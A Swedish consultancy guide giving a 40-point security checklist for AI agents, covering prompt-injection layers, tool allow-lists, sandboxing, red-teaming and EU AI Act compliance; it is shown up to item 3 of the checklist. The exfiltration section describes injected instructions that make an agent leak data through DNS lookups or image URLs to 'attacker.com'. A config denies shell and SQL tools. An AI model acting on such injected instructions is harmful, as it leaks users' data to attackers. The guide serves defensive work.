--- title: "AI-agent säkerhetschecklista för svenska team 2026" url: https://alicelabs.ai/sv/insights/ai-agent-security-checklist description: "40-punkts checklista för AI-agenter: prompt injection, tool-abuse, exfiltration, sandbox, red-team. OWASP LLM Top-10, EU AI Act. 100+ implementationer." lang: sv --- Alice Labs (https://alicelabs.ai/) Tjänster Vad vi gör (https://alicelabs.ai/#welcome)Om Alice (https://alicelabs.ai/#who-we-are)Case (https://alicelabs.ai/case)Insikter (https://alicelabs.ai/sv/insights)Kontakt (https://alicelabs.ai/#email-form) AI Agents How-To Aktuell Senast granskad: 13 september 2026 · 38d sedan # AI-agent säkerhetschecklista för svenska team 2026 ## TL;DR Snabbt svar Citerad av AI > En AI-agent-säkerhetschecklista täcker åtta attack-ytor: prompt, tool, data, model, identity, supply-chain, runtime och mänsklig oversight. Alice Labs 40-punkts-checklista mappar mot OWASP LLM Top-10, EU AI Act Artikel 15, ISO/IEC 42001 och GDPR. Kärnkontroller: input-filter mot prompt injection, tool-allow-list med least-privilege, egress-filter mot exfiltration, sandbox med gVisor eller Firecracker, immutable audit-logs, red-team-suite med PyRIT eller Garak, kill switch och deployer-dokumentation. Alice Labs har validerat checklistan över 100+ produktionsimplementationer sedan 2023 i Norden. Praktisk 40-punkts säkerhetschecklista för produktions-AI-agenter i svenska bolag. Täcker prompt injection, tool-abuse, dataexfiltration, sandbox, red-teaming, incident response och compliance mot OWASP LLM Top-10, EU AI Act Artikel 15, ISO/IEC 42001 och GDPR. Baserad på Alice Labs review-metod från 100+ produktionsimplementationer sedan 2023. AI agent security är säkerhetsdisciplinen kring autonoma LLM-baserade system som resonerar, planerar och anropar verktyg. På svenska används termerna AI-agent-säkerhet, LLM-agent-säkerhet och agentisk AI-säkerhet omväxlande. Till skillnad från traditionell AppSec (som skyddar deterministisk kod) och traditionell LLM safety (som fokuserar på modellens output) täcker AI-agent-säkerhet hela loopen: prompt-plane (input och systempromptar), tool-plane (function calls och MCP-servrar), data-plane (retrieval, minne, PII), model-plane (modellval, adversarial robusthet), identity-plane (per-user tokens och blast radius), supply-chain (modeller, dataset, dependencies), runtime (sandbox och egress) samt mänsklig oversight. OWASP Top 10 for LLM Applications v1.1 och 2025-uppdateringen är den mest etablerade taxonomin. EU AI Act Artikel 15 kräver från 2 augusti 2026 dokumenterad cybersäkerhet, robusthet mot adversarial attacks och skydd mot obehörig åtkomst för högrisksystem enligt Annex III. Alice Labs, en Stockholm-headquartered enterprise AI consultancy, har levererat 100+ produktionsimplementationer sedan 2023 och drivit denna checklista över bank, försäkring, life sciences, offentlig sektor, retail och industri i Norden. Image: Linus Ingemarsson - Author at Alice Labs (https://alicelabs.ai/images/linus-ingemarsson.png) Written by Linus Ingemarsson: https://www.linkedin.com/in/linus-ingemarsson/ Image: Eric Lundberg - Reviewer at Alice Labs (https://alicelabs.ai/images/eric-lundberg.png) Reviewed by Eric Lundberg: https://www.linkedin.com/in/eric-lundberg-3530451bb/ Published September 19, 2026 · Updated September 17, 2026 16-20 min läsning 10/10 OWASP LLM-risker som mappar direkt mot AI-agent-kontext (prompt injection, insecure output, plugin-risk, excessive agency m.fl.) OWASP Top 10 for LLM Applications v1.1 (2025): https://owasp.org/www-project-top-10-for-large-language-model-applications/ 100+ produktionsimplementationer där Alice Labs kört sin 40-punkts-checklista före go-live sedan 2023 Alice Labs intern data, 2026: https://alicelabs.ai/sv/case 2 aug 2026 EU AI Act Artikel 15 (cybersäkerhet) fullt tillämplig på högriskbaserade AI-system i Sverige och EU Europeiska kommissionen, EU AI Act: https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai 35 MEUR maxsanktion för brott mot förbjudna praktiker under EU AI Act (eller 7 procent av global omsättning) EU AI Act Artikel 99: https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai Vad du lär dig(8 punkter) - Hela hotmodellen för produktions-AI-agenter 2026 uppdelad på 8 attack-ytor (prompt, tool, data, model, identity, supply-chain, runtime, human) - Hur OWASP Top 10 for LLM Applications mappar mot agent-kontext, med konkret svensk exemplifiering per risk - Layered defense mot prompt injection: input-filter, tool-scoping, dual-LLM-mönster, output-validering, separators och spotlighting - Tool-abuse-prevention: least-privilege function calling, tool allow-listing per roll, blast-radius-bounds, dry-run-läge och obligatoriska godkännanden - Data-exfiltration-vektorer via indirekt prompt injection, DNS-exfil, bild-steganografi och tool-abuse-exfil, samt hur egress-filter stoppar dem - Sandbox-design med containerization, gVisor, Firecracker, per-invocation-isolering och nätverkspolicies för runtime-säkerhet - Red-team-metod i 5 faser med PyRIT, Garak och promptfoo, samt incident response med kill switch, quarantine och IMY-anmälan vid GDPR-incidens - Alice Labs 40-punkts säkerhetschecklista med kod-exempel för guardrail-wrapper, tool-allow-list och injection-detector ## Sammanfattning - AI-agent-säkerhet är inte traditionell AppSec plus LLM safety. Det är en tredje disciplin som täcker hela ORCE-loopen (observe, reason, act, evaluate) och åtta attack-ytor. - Prompt injection är fortfarande #1 på OWASP LLM Top-10 (2025). Ingen enskild kontroll räcker. Alice Labs kräver minst fyra lager i produktion: input-filter, tool-scoping, dual-LLM-mönster, output-validering. - Tool-abuse är den mest underskattade risken. Att ge en agent ett brett verktyg (som exekvera SQL eller kör shell) räcker för att game over. Least-privilege och per-roll allow-list är icke-förhandlingsbart. - Data-exfiltration sker sällan genom modellen själv. Den sker via verktygen: DNS-lookup, image URLs, external HTTP, tool-abuse-exfil. Egress-filter på nätverkslagret stoppar 90 procent. - EU AI Act Artikel 15 (fullt i kraft 2 augusti 2026) kräver dokumenterad cybersäkerhet, robusthet mot adversarial attacks och skydd mot obehörig åtkomst för högrisksystem. IMY är svensk tillsyn. - ISO/IEC 42001 är den första internationella standarden för AI management systems. Certifiering är inte obligatorisk men kraftigt rekommenderad för enterprise som säljer AI-agenter till reglerade sektorer. - Red-teaming ska automatiseras i CI. PyRIT (Microsoft), Garak (Leon Derczynski) och promptfoo täcker 80 procent av vanliga attack-mönster. Manuell red-team-övning bör köras kvartalsvis. - Alice Labs 40-punkts checklista har validerats över 100+ produktionsimplementationer sedan 2023 och mappar 1:1 mot OWASP LLM Top-10, EU AI Act Artikel 15, ISO/IEC 42001 och GDPR Artikel 32. 01 / 12 Kapitel ## TL;DR: Alice Labs 40-punkts-checklista i 60 sekunder Produktions-AI-agenter kräver försvar på åtta attack-ytor: prompt, tool, data, model, identity, supply-chain, runtime, human. Alice Labs 40-punkts-checklista mappar mot OWASP LLM Top-10, EU AI Act Artikel 15, ISO/IEC 42001 och GDPR Artikel 32. Kärnkontrollerna är input-filter, tool-allow-list, egress-filter, sandbox, immutable audit logs, automatiserad red-team, kill switch och deployer-dokumentation. Denna checklista har validerats över 100+ produktionsimplementationer sedan 2023. Alice Labs är en Stockholm-headquartered enterprise AI consultancy. Vi har levererat 100+ produktionsimplementationer sedan 2023 av AI-agenter i Norden inom bank, försäkring, life sciences, offentlig sektor, retail och industri. Innan varje go-live kör vi en 40-punkts säkerhetschecklista som mappar mot OWASP Top 10 for LLM Applications, EU AI Act Artikel 15, ISO/IEC 42001 och GDPR Artikel 32. Kärnbudskapet i den här guiden: en AI-agent i produktion är inte en chatbot. Den skriver till andra system, anropar verktyg och kan trigga verkliga transaktioner utan mänsklig prompt per steg. Det innebär att attack-ytan är dramatiskt bredare än vad traditionell AppSec eller klassisk LLM safety adresserar. Åtta attack-ytor måste försvaras samtidigt: prompt, tool, data, model, identity, supply-chain, runtime och mänsklig oversight. Använd denna guide som en checklista, inte som en läsövning. Kopiera 40-punkts-listan i sektion 12 in i era release-gates. Bygg red-team-svit i CI. Konfigurera egress-filter innan ni släpper agenten mot produktionstrafik. För en enterprise-genomgång i er miljö, se Alice Labs AI-agent-tjänster (https://alicelabs.ai/sv/ai-agenter). 02 / 12 Kapitel ## Vad är AI-agent-säkerhet? Definition och scope Sammanfattat AI-agent-säkerhet är säkerhetsdisciplinen kring autonoma LLM-baserade system som resonerar, planerar och anropar verktyg. Den skiljer sig från traditionell AppSec (deterministisk kod) och klassisk LLM safety (modell-output) genom att täcka hela ORCE-loopen och åtta attack-ytor. På svenska används termerna AI-agent-säkerhet, LLM-agent-säkerhet och agentisk AI-säkerhet omväxlande, med OWASP LLM Top-10 som den etablerade taxonomin. En AI-agent är ett autonomt mjukvarusystem som använder en språkmodell för att resonera, planera och utföra fleretegs-uppgifter genom verktygsanrop. Den kör i en ORCE-loop: observera, resonera, agera, evaluera. Det gör att attack-ytan är kvalitativt annorlunda än för klassisk backend-kod eller för en fristående LLM-chat. **Traditionell AppSec** försvarar deterministisk kod: OWASP Top 10 för webbapplikationer (SQL injection, XSS, IDOR, SSRF, auth). Klassisk **LLM safety** försvarar modellens output: toxicity, bias, hallucination, refusal-bypass. **AI-agent-säkerhet** är en tredje disciplin som ärver båda och adderar tool-plane, identity-plane och supply-chain-plane. Alla tre disciplinerna krävs i parallell för en produktionsklassad agent. Scope för denna guide är åtta attack-ytor: 1. **Prompt-plane:** systempromptar, user-input, indirect injection via retrieval eller external content 2. **Tool-plane:** function calling, MCP-servrar, plugin-risk, excessive agency 3. **Data-plane:** RAG-källor, minne, PII, träningsdata, output-läckage 4. **Model-plane:** modellval, adversarial robusthet, backdoors, model theft 5. **Identity-plane:** per-user tokens, delegation, blast radius per principal 6. **Supply-chain-plane:** modeller, dataset, dependencies, MCP-servrar från tredje part 7. **Runtime-plane:** sandbox, egress, filesystem, process-isolering 8. **Human-plane:** oversight, overreliance, social engineering av operatörer Referens-taxonomier: OWASP Top 10 for LLM Applications v1.1 och 2025-uppdateringen, NIST AI Risk Management Framework 1.0 och MITRE ATLAS. Se även vår pillar-guide AI-agenter: Komplett guide för svenska företag 2026 (https://alicelabs.ai/sv/insights/ai-agent-guide) för bredare kontext och AI Agent Security Risks (engelska) (https://alicelabs.ai/en/insights/ai-agent-security-risks). 03 / 12 Kapitel ## Hotmodell för AI-agenter 2026: 8 attack-ytor Sammanfattat AI-agenter i produktion 2026 måste försvaras mot 8 attack-ytor. Prompt-plane (systempromptar och indirect injection), tool-plane (function calling och excessive agency), data-plane (RAG och minne), model-plane (adversarial och model theft), identity-plane (per-user tokens), supply-chain (tredjepartsmodeller och MCP), runtime (sandbox och egress) och human (oversight och overreliance). Fältdata från 100+ implementationer visar att tool-plane och runtime är mest underskattade. Fältdata från Alice Labs 100+ produktionsimplementationer sedan 2023 visar en konsekvent mönster: team fokuserar överdrivet på prompt-plane och missar tool-plane och runtime-plane, som är där de flesta incidenter faktiskt landar. Här är hotmodellen per yta med typiska tekniker och svensk exemplifiering: | Attack-yta | Vanliga tekniker | Svensk exemplifiering | | --- | --- | --- | | Prompt-plane | Direct injection, indirect via retrieval, jailbreak-suffix | Kund kopierar in en manipulerad e-post i customer-support-agent | | Tool-plane | Excessive agency, plugin-abuse, unsafe function calls | SDR-agent med SQL-tool exekverar DROP TABLE via prompt injection | | Data-plane | RAG-läckage, memory poisoning, PII i output | HR-agent citerar en tidigare kandidats personnummer i annan konversation | | Model-plane | Adversarial suffix, backdoor triggers, model theft | Konkurrent extraherar bank-agentens finetuned kunskap via query-mining | | Identity-plane | Shared credentials, overprivileged tokens, delegation-abuse | Agent kör som service-account med read-write på hela CRM istället för per-user | | Supply-chain | Poisoned model, malicious MCP-server, dep-confusion | Tredje-parts MCP-server exfiltrerar prompt-innehåll till C2 | | Runtime | Sandbox-escape, egress-abuse, filesystem-write | Kod-executor-agent skriver till host-filsystem och läcker via DNS | | Human-plane | Overreliance, social engineering av operatör, alert-fatigue | Operatör godkänner alla actions rutinmässigt efter 500 approvals | Källa: Alice Labs incident- och near-miss-databas 2023-2026, korsjämförd med OWASP LLM Top-10 v1.1 och MITRE ATLAS. Genomgående lärdom: en agent är bara så säker som sitt svagaste verktyg. En perfekt promptfilter kan inte kompensera för ett SQL-tool utan parameterisering eller ett shell-tool utan whitelist. Attack-ytorna måste hanteras samtidigt, inte sekventiellt. 04 / 12 Kapitel ## OWASP Top 10 for LLM Applications mappat mot agent-kontext Sammanfattat OWASP Top 10 for LLM Applications v1.1 är den mest etablerade LLM-säkerhetstaxonomin. Samtliga 10 risker mappar direkt mot AI-agent-kontext, men konsekvenserna skiljer sig dramatiskt eftersom agenter kan agera på output. LLM01 Prompt Injection och LLM08 Excessive Agency är de två med störst blast radius i agent-scenarier. OWASP Top 10 for LLM Applications v1.1 (senast uppdaterad 2025) är den de facto-standard svensk enterprise refererar mot 2026. Här är hela listan mappad mot agent-kontext med konkret Alice Labs-motåtgärd per risk: | OWASP-risk | Agent-kontext | Primär motåtgärd | | --- | --- | --- | | LLM01 Prompt Injection | Direct och indirect via RAG-källor, e-post, webbsidor, filnamn | Input-filter + tool-scoping + dual-LLM + spotlighting | | LLM02 Insecure Output Handling | Agent-output som exekverar i SQL, shell eller webbläsare | Parameterisering + HTML-escape + content security policy | | LLM03 Training Data Poisoning | Finetuning-data eller RAG-korpus komprometterad | Signerade datakällor + provenance-tracking + baseline evals | | LLM04 Model Denial of Service | Adversarial input som tvingar loops eller max-tokens | Rate limits + step-cap + budget-per-request | | LLM05 Supply Chain | Tredjepartsmodell, MCP-server eller dependency komprometterad | SBOM + pinned versions + signaturverifiering + MCP allow-list | | LLM06 Sensitive Info Disclosure | PII i prompt, output eller minne mellan sessioner | PII-detektering + minneshygien + per-user isolering | | LLM07 Insecure Plugin Design | MCP-server eller function med bred scope eller ingen auth | Least-privilege per verktyg + tool-level authz + audit logs | | LLM08 Excessive Agency | Agent har verktyg som destroy, refund, transfer, publish utan gate | Obligatorisk human approval + dry-run mode + blast-radius-bounds | | LLM09 Overreliance | Operatör approvar rutinmässigt, ingen kalibrering av tillit | Konfigurerbara oversight-trösklar + confidence display + audits | | LLM10 Model Theft | Konkurrent extraherar finetuned kunskap via query-mining | Rate limits + query-mönster-detektering + IP-baserad throttling | För en engelsk deep-dive per risk med kodexempel, se AI Agent Security Risks (https://alicelabs.ai/en/insights/ai-agent-security-risks). För plattform-nivåberedskap se Production AI Agents Deployment Guide 2026 (https://alicelabs.ai/en/insights/production-ai-agents-deployment-guide-2026). Image: Linus Ingemarsson (https://alicelabs.ai/images/linus-ingemarsson.png) Image: Eric Lundberg (https://alicelabs.ai/images/eric-lundberg.png) Alice Labs praktiker-team ## Prata med teamet bakom 100+ AI-implementationer 30 minuters discovery-samtal med en senior Alice Labs-konsult. Ingen slide-deck, ingen försäljningspitch — bara ett scoping-samtal. Boka Discovery Call 05 / 12 Kapitel ## Prompt injection: layered defense i 4 lager Sammanfattat Prompt injection kan inte lösas med en enskild filter. Alice Labs kräver fyra lager i produktion: (1) input-filter mot uppenbara jailbreak-mönster, (2) tool-scoping så att agenten inte ens har verktygen som behövs för att göra skada, (3) dual-LLM-mönster där en separat modell validerar planerade actions, och (4) output-validering före exekvering. Spotlighting (encoding av opålitlig input) är ett femte lager när external content läses. Prompt injection har rankats som #1 på OWASP LLM Top-10 sedan v1.0 och kvarstår som #1 i v1.1 (2025). Anledningen: det finns ingen semantisk gräns mellan systempromptar och användarinput i en LLM. Alla ord är samma text för modellen. Detta måste kompenseras arkitektoniskt, inte prompt-tekniskt. Alice Labs försvarsstack i produktion: 1. **Input-filter.** Reguljära uttryck, heuristik och en liten classifier (t.ex. LLM-guard eller Llama Guard) som blockerar uppenbara jailbreak-suffix, instruktions-override och kodinnehåll i user-input. 2. **Tool-scoping.** Ge agenten enbart de verktyg som absolut krävs för use-caset. En customer-support-agent behöver inte kunna exekvera SQL. En SDR-agent behöver inte kunna skicka pengar. 3. **Dual-LLM-mönster.** Planerade actions skickas till en separat modell (ofta ett mindre snabbare Sonnet-tier) för safety-validering innan de exekveras. Denna modell har inte tillgång till user-input, bara till planned-action-JSON. 4. **Output-validering.** Efter varje tool-call verifieras output mot schema, PII-filter och business-rules. Anomalier triggar human review. 5. **Spotlighting.** När external content (e-post, dokument, webbsidor) läses in i kontexten, wrappas det i tydliga separator-taggar och encodas (till exempel base64 eller unikt prefixat) så att modellen tydligt kan urskilja opålitlig text från system-instruktioner. Konkret exempel på guardrail-wrapper i Python (pseudokod): \# guardrails/wrapper.py async def safe_agent_call(user_input: str, agent, tools): # 1. Input filter (blockera uppenbar injection) if injection_score(user_input) > 0.85: raise InjectionBlocked(user_input) # 2. Kör agent med tool-scope plan = await agent.plan(user_input, tools=tools) # 3. Dual-LLM validering av planned actions verdict = await safety_llm.evaluate(plan) if verdict.risk == "high": return await human_review(plan) # 4. Exekvera med per-tool output-validering result = await agent.execute(plan, on_output=validate_output) # 5. Immutable audit log (Artikel 12) await audit_log.append(user_input, plan, result) return result För dokumenterade prompt-injection-tekniker och deras motåtgärder, se OWASP LLM Top-10 och NIST AI RMF playbooks. Alice Labs kör dessutom kvartalsvis red-team med PyRIT och promptfoo (se sektion 9). 06 / 12 Kapitel ## Tool-abuse-prevention: least-privilege function calling Sammanfattat Tool-abuse är den mest underskattade agent-risken. Att ge en agent ett brett verktyg (exekvera SQL, kör shell, publicera artikel, refund kundorder) räcker för att en enda lyckad prompt injection ska bli katastrofal. Motåtgärderna: least-privilege per verktyg, tool allow-listing per roll, rate limits, blast-radius-bounds, dry-run-läge och obligatoriska godkännanden på destructive actions. Excessive agency (LLM08) är den attack-yta där Alice Labs ser flest near-misses i produktion. Ett typiskt anti-mönster: ett team ger agenten ett generiskt execute_sql-verktyg med read-write på hela databasen istället för list_customer_orders(customer_id) och get_order_status(order_id). Första prompt injection sedan är game over. Alice Labs standardkrav på verktyg för produktions-agenter: - **Least-privilege scope.** Ett verktyg gör en sak. Aldrig execute_arbitrary_code eller run_sql. Alltid create_ticket(customer_id, subject, body) eller update_status(ticket_id, status). - **Tool allow-list per roll.** Ingen agent har alla verktyg. Verktyg tilldelas per use-case och per operatörs-roll via explicit config, inte via runtime-negotiation. - **Rate limits per tool.** Både total per timme (skydd mot loop-abuse) och per målresurs (skydd mot brute-force enumeration). - **Blast-radius-bounds.** Maxantal skrivningar per konversation. Maxantal e-post per session. Maxbelopp per transaction. Överskrids gränsen krävs mänsklig approval. - **Dry-run mode.** Alla destructive actions kan köras i dry-run som returnerar vad som skulle hända utan att göra det. Används i evals och i incident debugging. - **Obligatorisk approval på destructive.** DELETE, DROP, TRANSFER, REFUND, PUBLISH, EMAIL_EXTERNAL kräver human approval oavsett confidence score. Kodexempel för tool allow-list config: \# tools/allowlist.yaml customer_support_agent: role: L1_support allowed_tools: - name: get_customer_orders scope: read rate_limit: 60/min - name: create_return_ticket scope: write max_per_session: 5 requires_approval: false - name: issue_refund scope: write max_amount_sek: 5000 requires_approval: true dry_run_available: true denied_tools: - execute_sql - shell_exec - send_external_email Se även vår engelska guide Production AI Agents Deployment Guide 2026 (https://alicelabs.ai/en/insights/production-ai-agents-deployment-guide-2026) för fullständig rollout-playbook. 07 / 12 Kapitel ## Data exfiltration: vektorer och egress-kontroll Sammanfattat Data-exfiltration från en agent sker sällan genom modellens output direkt. Vanligare vektorer: indirect prompt injection som instruerar agenten att göra DNS-lookup med extraherad data, image URLs som läcker information via query string, bild-steganografi och tool-abuse där en legitim funktion missbrukas för exfil. Motåtgärd: egress-filter på nätverkslagret, per-domän allow-list för external tools, och PII-scanner på all output. Vanliga svenska missförstånd: att exfiltration bara handlar om att modellen skriver ut PII i chatten. I själva verket är de farligaste vektorerna indirekta och går via verktygen, inte modellen. Fyra vektorer att försvara mot: 1. **DNS-exfil via tool.** Indirect prompt injection instruerar agenten att göra en DNS-lookup mot något liknande `.attacker.com`. Om egress-DNS inte är filtrerad läcker data via passiva DNS-loggar. 2. **Image URL exfil.** Agenten instrueras att rendera en Markdown-bild med URL `https://attacker.com/log?data=`. Klienten hämtar bilden, GET-parametrar läcker data. 3. **Bild-steganografi.** Multimodala agenter kan instrueras att generera eller citera bilder med gömd data i pixelvärden. Sällsynt men existerar in the wild. 4. **Tool-abuse-exfil.** Legitim funktion missbrukas: skicka "kundfeedback" e-post till attackerkontroll-adress, uppdatera CRM-fält med extraherad data som senare läses ut via annan legitim väg. Alice Labs standardkontroller mot exfiltration: - **Egress-filter** på nätverkslagret. Agent-sandbox tillåter enbart trafik till en per-agent domän-allow-list. - **DNS-filter.** Egen DNS-resolver som blockerar alla externa lookup förutom explicit tillåtna domäner. - **PII-scanner** på all agent-output med Microsoft Presidio eller motsvarande. Fynd triggar block eller redaction. - **Content-security-policy** i UI:et som blockerar external image rendering utom från vitlistade CDN. - **Audit logs** per tool-call med domän och payload-storlek, för anomali-detektering. En särskild svensk aspekt: om exfiltrationen involverar personuppgifter är detta en GDPR-incident. Se sektion 10 för incident response och IMY-anmälan. Alice Labs praktiker-team ## Vill ni att Alice Labs kör 40-punkts-checklistan mot er AI-agent? Stockholm-headquartered enterprise AI consultancy med 100+ produktionsimplementationer sedan 2023. Security review levereras inom 2 till 4 veckor med skriven rapport mot OWASP LLM Top-10, EU AI Act Artikel 15 och ISO/IEC 42001, red-team-suit i CI och åtgärdsplan. Boka säkerhetsgenomgång 08 / 12 Kapitel ## Secret-handling och sandbox-design Sammanfattat Secrets ska aldrig ligga i prompt eller systemprompt. Alice Labs standard: per-user token-exchange med kortlivade credentials, HashiCorp Vault eller molnleverantörens Key Vault för lagring, och PII-detektering på all input och output. Sandbox-design: containerization med per-invocation-isolering, gVisor eller Firecracker för hard isolation, network policies default-deny och filesystem readonly som default. Två fundament som ofta glöms i tidiga PoC:er men är icke-förhandlingsbara i produktion. **Secret-handling.** Aldrig secrets i prompt. Aldrig secrets i systemprompt. Aldrig secrets i tool-schema. Alice Labs standard: - Per-user token-exchange: agenten agerar som slutanvändaren via OAuth2 client-credential exchange, inte som en central service-account. - Kortlivade credentials: 5 till 15 minuters TTL, automatisk rotation. - Central secret store: HashiCorp Vault, AWS Secrets Manager, Azure Key Vault eller Google Secret Manager. Verktyget hämtar just-in-time. - PII-detektering på all input och output med Microsoft Presidio, spaCy Swedish-model eller motsvarande. Personnummer, telefonnummer, e-post, IBAN identifieras och redactas eller blockeras. **Sandbox-design.** Alla agenter som kör kod eller anropar shell körs i isolerad sandbox. Alice Labs standardstack: - **Containerization** med Docker eller Podman som baseline. - **gVisor eller Firecracker** för hard-isolation när shell- eller code-exec-verktyg finns. gVisor för snabb sandbox, Firecracker för micro-VM när full kernel-isolation krävs. - **Per-invocation-isolering**: ny container per konversation eller per request, ingen shared state. - **Network policies default-deny**: inget egress utan explicit domän-allow-list. - **Filesystem readonly** som default, med per-request tmpfs som writable om nödvändigt. Se AI-agent-observability och evals (svenska) (https://alicelabs.ai/sv/insights/ai-agent-observability-svenska) för hur audit logs från sandbox mappar mot EU AI Act Artikel 12 och Model Context Protocol på svenska (https://alicelabs.ai/sv/insights/mcp-model-context-protocol-svenska) för hur MCP-servrar körs säkert. 09 / 12 Kapitel ## Red-team-metod: 5 faser med PyRIT, Garak och promptfoo Sammanfattat Alice Labs red-team-metod i 5 faser: (1) recon (kartlägg agent-yta, verktyg, systempromptar), (2) prompt-inject (direct + indirect + jailbreak), (3) tool-abuse (försök använda verktyg utanför scope), (4) exfil (försök läcka data via DNS, image URL, tool-abuse), (5) escalate (försök få bredare privilegier eller kombinera vektorer). Verktyg: PyRIT (Microsoft), Garak (Leon Derczynski), promptfoo för automatiserade suits i CI, manuellt red-team kvartalsvis. Red-teaming är obligatoriskt i Alice Labs pre-launch-gate. Det räcker inte att bygga försvar, ni måste också aktivt attackera egen agent och verifiera att försvaren fungerar. Vår 5-fas-metod: 1. **Fas 1: Recon.** Kartlägg agent-yta: exponerade endpoints, verktyg, systempromptar (om möjligt), MCP-servrar, modell, kontext-fönster, rate-limit-beteenden. 2. **Fas 2: Prompt injection.** Direct injection, indirect via retrieval, jailbreak-suffix, roll-svap, encoding-tricks (base64, unicode-homoglyfs, zero-width characters). 3. **Fas 3: Tool-abuse.** Försök använda verktyg utanför scope. Testa gränser: max amount, max per session, dry-run-bypass, parameter-injection. 4. **Fas 4: Exfiltration.** DNS-exfil, image URL, tool-abuse-exfil, memory-exfil mellan sessioner för samma user och över user-gränser. 5. **Fas 5: Escalation.** Kombinera vektorer, försök få bredare privilegier, testa om approval-bypass finns, försök få agenten att modifiera egen config eller allow-list. Verktyg som Alice Labs använder i produktions-pipeline: - **PyRIT (Microsoft):** open-source-ramverk för automatiserade LLM-red-team-attacker. Bäst för att skala prompt-injection-varianter. - **Garak (Leon Derczynski, GitHub):** vulnerability scanner för LLMs. Bäst för broad-spectrum probing av jailbreak, encoding, refusal-bypass. - **promptfoo:** eval-och-red-team-suit som körs i CI för varje release. Bäst för regression-testning och pinning av kända attack-mönster. Manuell red-team-övning kvartalsvis av dedikerat team eller extern konsult. Automatiserad red-team i CI vid varje deploy. Enligt Alice Labs interna standard ska varje agent ha en eval-suit med minst 200 test-cases varav 50 red-team-cases innan produktion. 10 / 12 Kapitel ## Incident response för AI-agent-fel: kill switch, quarantine, IMY-anmälan Sammanfattat Incident response för AI-agenter kräver samma disciplin som klassisk IR plus tre nya kontroller: kill switch (stänger agenten globalt inom 60 sekunder), quarantine (isolerar drabbade sessions och verktygsanrop för forensics) och IMY-anmälan inom 72 timmar om GDPR-personuppgifter läckt. Forensics bygger på immutable audit logs från EU AI Act Artikel 12. Post-mortem ska mappas mot root cause per attack-yta. En agent-incident har större blast radius än en klassisk applikations-incident eftersom agenten agerar på fler system samtidigt och kan ha triggat verkliga transaktioner. Alice Labs standard-runbook: 1. **Detektera.** Anomali-larm på tool-anrop, audit-log-mönster, PII-scanner-hits eller user-rapporterade fel. 2. **Kill switch.** En enda config-flagga stänger av agenten globalt inom 60 sekunder. Trafik faller tillbaka på fallback (mänsklig handläggare, tidigare statisk workflow). 3. **Quarantine.** Alla drabbade sessions och deras kontext-fönster, verktygsanrop och output snapshottas till isolerad forensics-store. Ingen data raderas förrän post-mortem är klar. 4. **Notify.** Berörda användare informeras enligt GDPR Artikel 34 om deras personuppgifter är involverade. IMY-anmälan inom 72 timmar (GDPR Artikel 33) vid personuppgiftsincident. 5. **Forensics.** Rekonstruera händelsen från immutable audit logs (Artikel 12). Identifiera attack-yta, missad kontroll och root cause. 6. **Remediate.** Fixa root cause på tool-config, systemprompt, filter, sandbox eller supply-chain. Skriv regression-test för red-team-suit. 7. **Post-mortem.** Blameless post-mortem inom 5 arbetsdagar. Uppdatera runbooks, checklista och evals. Alice Labs kör dessutom en post-action-review efter varje incident enligt intern standard: quality gate scan, fix root cause, uppdatera pipeline och sedan nästa batch. Se AI-agent-implementationsstrategi (svenska) (https://alicelabs.ai/sv/insights/ai-agent-implementation-strategi) för hur incident-lärdomar återmatas i playbooken. Alice Labs praktiker-team ## Redo att härdgöra er AI-agent innan produktion? Alice Labs 40-punkts säkerhetschecklista från 100+ nordiska produktionsimplementationer. Hotmodell, red-team-suit, sandbox-design, incident response och deployer-dokumentation för EU AI Act Artikel 26. Kostnadsfritt första möte. Boka AI-agent-säkerhetsgranskning 11 / 12 Kapitel ## Compliance-mapping: EU AI Act, ISO/IEC 42001, NIS2, GDPR Sammanfattat AI-agent-säkerhet mappar direkt mot fyra regelverk i Sverige och EU 2026: EU AI Act Artikel 15 (cybersäkerhet, fullt tillämplig 2 augusti 2026), ISO/IEC 42001:2023 (AI management system, den första internationella standarden), NIS2 för kritisk infrastruktur och GDPR Artikel 32 för säkerhet av personuppgifter. IMY är svensk tillsyn för AI Act och GDPR. Alice Labs 40-punkts-checklista är designad för att en enterprise-agent ska klara fyra parallella regelverk med samma kontroller: | Regelverk | Relevant artikel | Vad det kräver av AI-agent-säkerhet | | --- | --- | --- | | EU AI Act (2 aug 2026) | Artikel 15 | Robusthet, cybersäkerhet, skydd mot adversarial attacks och obehörig åtkomst för högrisksystem | | EU AI Act | Artikel 12 | Automatisk loggning av alla agent-actions med tillräcklig granularitet för spårbarhet | | EU AI Act | Artikel 14 | Mänsklig oversight: möjlighet att pausa, avbryta eller överrida agentens beslut | | ISO/IEC 42001:2023 | Clause 8, Annex A | AI management system, dokumenterad riskbedömning, kontinuerlig förbättring | | NIS2 (från okt 2024) | Artikel 21 | Cybersäkerhetsåtgärder för kritisk infrastruktur, incident-rapportering | | GDPR | Artikel 32 | Tekniska och organisatoriska åtgärder för säkerhet av personuppgifter | | GDPR | Artikel 33-34 | Anmälan till IMY inom 72 timmar och information till berörda registrerade vid personuppgiftsincident | | NIST AI RMF 1.0 | Govern, Map, Measure, Manage | Frivillig men rekommenderad ram som mappar mot alla ovanstående | Svensk tillsyn: IMY (Integritetsskyddsmyndigheten) är utpekad tillsynsmyndighet för EU AI Act enligt regeringens proposition från 2025 samt för GDPR. MSB har rollen för NIS2. Se EU AI Act 2026: checklista för svenska företag (https://alicelabs.ai/sv/insights/eu-ai-act-2026-checklista) för fördjupning. ISO/IEC 42001 är den första internationella standarden för AI management systems. Certifiering är inte obligatorisk 2026 men rekommenderas för enterprise som säljer AI-agenter till reglerade sektorer (bank, försäkring, sjukvård, offentlig sektor). Standarden mappar väl mot Artikel 9 (riskhantering) i EU AI Act. 12 / 12 Kapitel ## Alice Labs 40-punkts-checklista och kod-exempel för säkerhetslager Sammanfattat Alice Labs 40-punkts-checklista grupperar kontrollerna i 8 kategorier med 5 items var: (A) Prompt & Input, (B) Tool & function calling, (C) Data & PII, (D) Identity & auth, (E) Sandbox & runtime, (F) Logging & audit, (G) Testing & red-team, (H) Governance & response. Varje punkt är ett release-gate. Denna checklista är validerad över 100+ produktionsimplementationer sedan 2023 i Norden. Nedan är Alice Labs 40-punkts-checklista, härledd från 100+ produktionsimplementationer sedan 2023 och kalibrerad mot OWASP LLM Top-10, EU AI Act Artikel 15, ISO/IEC 42001 och GDPR. Använd den som release-gate innan varje go-live. ### A. Prompt & Input security (5) 1. Input-filter aktiverat med score-tröskel för injection-detektering 2. Spotlighting av external content (e-post, dokument, webbsidor, filnamn) 3. 